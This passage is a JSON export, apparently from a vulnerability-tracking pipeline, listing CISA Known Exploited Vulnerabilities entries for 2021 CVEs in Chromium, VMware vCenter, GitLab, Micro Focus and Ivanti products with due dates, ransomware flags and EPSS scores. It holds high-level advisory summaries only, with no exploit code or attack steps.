use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-21017","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-21017 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-21017&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-21017, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-21148","cveId":"CVE-2021-21148","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Heap Buffer Overflow Vulnerability","summary":"Google Chromium V8 Engine contains a heap buffer overflow vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.19968,"percentile":0.97415,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-21148&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-21148","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-21148 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-21148&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-21148, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-21166","cveId":"CVE-2021-21166","aliases":[],"kind":"vulnerability","title":"Google Chromium Race Condition Vulnerability","summary":"Google Chromium contains a race condition vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium","stacks":["Google Chrome","Google","Chromium"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.24027,"percentile":0.97829,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-21166&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-21166","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-21166 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-21166&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-21166, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-21193","cveId":"CVE-2021-21193","aliases":[],"kind":"vulnerability","title":"Google Chromium Blink Use-After-Free Vulnerability","summary":"Google Chromium Blink contains a use-after-free vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium Blink","stacks":["Google Chrome","Google","Chromium Blink"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0995,"percentile":0.95561,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-21193&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-21193","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-21193 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-21193&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-21193, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-21206","cveId":"CVE-2021-21206","aliases":[],"kind":"vulnerability","title":"Google Chromium Blink Use-After-Free Vulnerability","summary":"Google Chromium Blink contains a use-after-free vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium Blink","stacks":["Google Chrome","Google","Chromium Blink"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.09307,"percentile":0.95337,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-21206&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-21206","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-21206 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-21206&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-21206, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-21220","cveId":"CVE-2021-21220","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Improper Input Validation Vulnerability","summary":"Google Chromium V8 Engine contains an improper input validation vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.70435,"percentile":0.99384,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-21220&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-21220","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-21220 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-21220&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-21220, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-21224","cveId":"CVE-2021-21224","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Type Confusion Vulnerability","summary":"Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to execute code inside a sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.84173,"percentile":0.99692,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-21224&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-21224","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-21224 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-21224&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-21224, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-21972","cveId":"CVE-2021-21972","aliases":[],"kind":"vulnerability","title":"VMware vCenter Server Remote Code Execution Vulnerability","summary":"VMware vCenter Server vSphere Client contains a remote code execution vulnerability in a vCenter Server plugin which allows an attacker with network access to port 443 to execute commands with unrestricted privileges on the underlying operating system.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"vCenter Server","stacks":["VMware","vCenter Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99865,"percentile":0.99962,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-21972&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-21972","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-21972 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-21972&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-21972, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-21985","cveId":"CVE-2021-21985","aliases":[],"kind":"vulnerability","title":"VMware vCenter Server Improper Input Validation Vulnerability","summary":"VMware vSphere Client contains an improper input validation vulnerability in the Virtual SAN Health Check plug-in, which is enabled by default in vCenter Server, which allows for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"vCenter Server","stacks":["VMware","vCenter Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99993,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-21985&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-21985","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-21985 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-21985&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-21985, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-22005","cveId":"CVE-2021-22005","aliases":[],"kind":"vulnerability","title":"VMware vCenter Server File Upload Vulnerability","summary":"VMware vCenter Server contains a file upload vulnerability in the Analytics service that allows a user with network access to port 443 to execute code.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"vCenter Server","stacks":["VMware","vCenter Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99998,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-22005&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-22005","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-22005 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-22005&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-22005, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-22205","cveId":"CVE-2021-22205","aliases":[],"kind":"vulnerability","title":"GitLab Community and Enterprise Editions Remote Code Execution Vulnerability","summary":"GitHub Community and Enterprise Editions that utilize the ability to upload images through GitLab Workhorse are vulnerable to remote code execution. Workhorse passes image file extensions through ExifTool, which improperly validates the image files.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"GitLab","product":"Community and Enterprise Editions","stacks":["GitLab","Community and Enterprise Editions"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99731,"percentile":0.99953,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-22205&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-22205","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-22205 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-22205&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-22205, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-22502","cveId":"CVE-2021-22502","aliases":[],"kind":"vulnerability","title":"Micro Focus Operation Bridge Report (OBR) Remote Code Execution Vulnerability","summary":"Micro Focus Operation Bridge Report (OBR) contains an unspecified vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Micro Focus","product":"Operation Bridge Reporter (OBR)","stacks":["Micro Focus","Operation Bridge Reporter (OBR)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9674,"percentile":0.99885,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-22502&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-22502","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-22502 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-22502&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-22502, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-22506","cveId":"CVE-2021-22506","aliases":[],"kind":"vulnerability","title":"Micro Focus Access Manager Information Leakage Vulnerability","summary":"Micro Focus Access Manager contains an information leakage vulnerability resulting from a SAML service provider redirection issue when the Assertion Consumer Service URL is used.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Micro Focus","product":"Micro Focus Access Manager","stacks":["Micro Focus","Micro Focus Access Manager"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.25695,"percentile":0.9795,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-22506&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-22506","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-22506 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-22506&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-22506, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-22893","cveId":"CVE-2021-22893","aliases":[],"kind":"vulnerability","title":"Ivanti Pulse Connect Secure Use-After-Free Vulnerability","summary":"Ivanti Pulse Connect Secure contains a use-after-free vulnerability that allow a remote, unauthenticated attacker to execute code via license services.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Pulse Connect Secure","stacks":["Ivanti","Pulse Connect Secure"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.47172,"percentile":0.98827,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-22893&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-22893","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-22893 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-22893&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-22893, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-22894","cveId":"CVE-2021-22894","aliases":[],"kind":"vulnerability","title":"Ivanti Pulse Connect Secure Collaboration Suite Buffer Overflow Vulnerability","summary":"Ivanti Pulse Connect Secure Collaboration Suite contains a buffer overflow vulnerabilities that allows a remote authenticated users to execute code as the root user via maliciously crafted meeting room.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Pulse Connect Secure","stacks":["Ivanti","Pulse Connect Secure"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.41284,"percentile":0.98659,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-22894&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-22894","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-22894 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-22894&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-22894, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-22899","cveId":"CVE-2021-22899","aliases":[],"kind":"vulnerability","title":"Ivanti Pulse Connect Secure Command Injection Vulnerability","summary":"Ivanti Pulse Connect Secure contains a command injection vulnerability that allows remote authenticated users to perform remote code execution via Windows File Resource Profiles.","detail":"CISA added this entry 